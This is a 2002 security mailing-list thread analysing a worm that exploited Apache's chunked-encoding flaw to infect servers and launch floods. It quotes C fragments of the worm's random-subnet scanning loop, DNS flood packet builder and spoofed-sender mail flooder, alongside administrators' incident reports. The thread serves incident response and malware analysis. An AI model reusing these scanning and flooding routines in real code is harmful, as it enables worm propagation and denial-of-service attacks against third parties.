Security Incidents mailing list archives

Re: Apache Worm / ddos


From: Dave Mitchell <dave () jnsnet com>
Date: Thu, 11 Jul 2002 02:41:17 -0600

Hi,
  This is in response to how the worm floods. Being a network
guy by trade, I can't guarantee that this is 100% accurate since
I went over it rather quickly, but I trust my C knowledge enough. 
Feel free to correct me for any errors. :)

Once installed, it acts as a server listening on UDP 2001. It then
begins to scan hosts on your network by randomizing the host and
subnet bytes of your IP address. Besides flooding, it looks for other
exploitable hosts in which to install itself upon.

#ifdef SCAN
if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
          char srv[256];
            if (d == 255) {
              if (c == 255) {
                   a=classes[rand()%(sizeof classes)];
                   b=rand();
                   c=0;
               }
                   else c++;
                   d=0;
            }
                   else d++;
                   memset(srv,0,256);
                   sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
                   clients[n].ext=time(NULL);
                   atcp_sync_connect(&clients[n],srv,SCANPORT);
                   p++;
}

It then begins flooding the targets with TCP and UDP. This code also has
RAW socket support besides using standard SOCK_STREAM and SOCK_DGRAM.
and even more fun, it has DNS flooding support. Lastly it has an email spoofing
tool built in that spoofs from random @aol.com and a "TO:" that it
strips out from the HTTP GET. The DNS functions appear to both 
flood and grab a valid MX record in order to flood it with mail.

memset((void*)&in,0,sizeof(struct sockaddr_in));
in.sin_addr.s_addr=rp->target;
in.sin_family=AF_INET;
in.sin_port=htons(53);
dnsp.rd=1;
dnsp.tc=0;
dnsp.aa=0;
dnsp.opcode=0;
dnsp.qr=0;
dnsp.rcode=0;
dnsp.unused=0;
dnsp.pr=0;
dnsp.ra=0;
dnsp.que_num=256;
dnsp.rep_num=0;
dnsp.num_rr=0;
dnsp.num_rrsup=0;
convo=buf+sizeof(struct df_rec);
convo[rp->h.len]=0;
decrypt(convo,rp->h.len);

for (i=0,startm=0;i<=rp->h.len;i++) if (convo[i] == '.' || convo[i] == 0) {
     convo[i]=0;
     sprintf(dnsp.buf+len,"%c%s",(unsigned char)(i-startm),convo+startm);
     len+=1+strlen(convo+startm);
     startm=i+1;
}

atcp_sendmsg(&srv,"From: %s\n",from);
atcp_sendmsg(&srv,"Message-ID: <%x.%x.%x () aol com>\n",rand(),rand(),rand());
atcp_sendmsg(&srv,"Date: %s",ctime(&tm));
atcp_sendmsg(&srv,"Subject: %s\n",subject);
atcp_sendmsg(&srv,"To: %s\n",buf);
atcp_sendmsg(&srv,"Mime-Version: 1.0\n");
atcp_sendmsg(&srv,"Content-Type: text/html\n\n");
atcp_sendmsg(&srv,"%s\r\n.\r\n",data);
break;

It grabs the fields that it puts in an email from the HTTP GET. It appears to just
be a bogus message to fill up outbound mail queues and won't be denied since it originates
from that network.

The worm will not attempt to contact RFC1918 space, and will also not speak
with hosts that it finds a .gov in the HTML from the GET /.


-dave


On Mon, Jul 08, 2002 at 06:08:56PM +0200, Alexander Bochmann wrote:
Hi,

...on Sun, Jul 07, 2002 at 11:14:56PM +0200, Thorsten Schroeder wrote:

 > today three of our apache webserver were compromised using the vulnerability
 > found in the chucked encoding implementation of the Apache [..]
 > I noticed an increasing traffic until no bandwidth was available.
 > i tried to reconstruct/analyse this but it's totally unclear, why this
 > degenerates in a (distributed?) denial of service against one of our
 > (compromised) servers.

We have seen the same udp dst 2001 flood on friday with 
a customer machine that had also been compromised by the 
worm.

 > in the /tmp directories is the binary of the worm and it's uuencoded binary:
 > -rwxr-xr-x   1 nobody    wheel    51594 Jul  7 13:47 .a
 > -rw-r--r--   1 nobody    wheel    71105 Jul  7 13:47 .uua

Same here.

While I had no close look at the published source code, 
a strings on the .a file reveals some data that may point 
to a ddos tool, namely stuff like

Cannot packet local networks
Udp flooding target
Tcp flooding target
Sending packets to target
Dns flooding target

(but as the strings are also in the source I assume it 
is the same program)

 > Thousands of different (spoofed) ip-adresses as source for upd-packets from
 > port 2001 to the compromised system port 2001.

I have seen this too. The flood does not stop when the compromised 
machine is taken down (but some hours later; the filter on their 
router has stopped counting at 34005105 matches). 
Didn't have time to go searching if the source addresses were 
obviously spoofed, but I have some tcpdump traces to check up 
later.

The customer also had a complaint from an ISP in Moldavia that 
the compromised machine had flooded a machine there before it 
was shut down.

Alex.


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com


-- 
--------------------------
Dave Mitchell
Network Engineer, ViaWest
dmitchell () viawest net
(720) 891-1045
--------------------------


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com


Current thread: